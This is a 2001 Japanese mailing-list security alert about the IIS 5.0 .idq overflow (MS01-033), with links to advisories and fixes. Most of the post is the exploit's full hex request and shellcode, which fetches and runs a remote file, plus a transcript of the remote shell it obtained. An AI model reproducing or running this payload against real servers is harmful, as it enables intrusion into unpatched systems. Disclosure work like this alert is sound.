[connect24h:03338] 注意喚起 :IIS5.0 .idq overrun remote exploit code

[hamamoto <r00t@xxxxxxxxxxx>]

はまもとです。

「IIS5.0 .idq overrun remote exploit code」ですが、かなり事態は深刻な
ようです。注意喚起もかねて、皆さんにアナウンスさせていただきます。

注意喚起
http://cn24h.hawkeye.ac/attention.html


下記はWEBとほぼ同じ内容です。
======================================================================

　　　　　　　　　　　　　　　注意喚起

win2ksecadviceに「IIS5.0 .idq overrun remote exploit code」がpostされ
ました。下記のセキュリティホールのexploit codeです。

●Index Server ISAPI エクステンションの未チェックのバッファにより Webサー
バーが攻撃される(MS01-033)
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS01-033


■報告者
匿名

■検証OS
アタックOS   FreeBSD 4.2-RELEAS、、Red Hat Linux release 7.0J (Guinness)
ターゲットOS Windows2000Pro、Windows2000Server

■検証結果
・FreeBSDからはあたらず。
・Red Hat →　Windows2000Pro & Server + SPなしの環境で単なるDoS
・Red Hat →　Windows2000Pro & Server + SP1の環境(未確認)
・Red Hat →　Windows2000Pro & Server + SP2の環境で成功

■対策
●セキュリティホール memo
http://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/#20010619_ms01-033
●Index Server ISAPI エクステンションの未チェックのバッファによりWeb 
サーバーが攻撃される問題について (IPA)
http://www.ipa.go.jp/security/ciadr/vul/200106iisidxsvr.htm

【関連】
WEBのほう参照

■実行結果
usage: $ ./iis5idq_exp ip file
$ ./iis5idq_exp ***.***.***.*** おなじみの某ツール
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 31 36 64 65
25 75 37 37 65 35 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 42 6C E5 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 C1 9A E5 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 5E
D1 C7 46 04 ED 59 5F 04 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
............................................................................
........................................
59392 bytes send...
Done.
$ telnet ***.***.***.*** 某ポート
Trying ***.***.***.***...
Connected to ***.***.***.***.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter ローカル エリア接続:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : ***.***.***.***
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : ***.***.***.***

C:\WINNT\system32>


+---------------------------------------------------------------------
| はまもと
| ■常時接続の宴（インターネット常時接続ニュースサイト）
| http://cn24h.hawkeye.ac/
| ■24 時間常時接続メーリングリスト開催中
| http://cn24h.hawkeye.ac/connect24h.html
| ■セカンダリDNS互助会
| http://cn24h.hawkeye.ac/dns.html 
+----------------------------------------------------------------------


------------------------------------------------------------------------
　　　　　　　　　　　◎　洗濯モノたまってない？　◎　　　　　　　　　　
　　　　 http://tenki.infoseek.co.jp/amedas_b_zen.html?svx=971122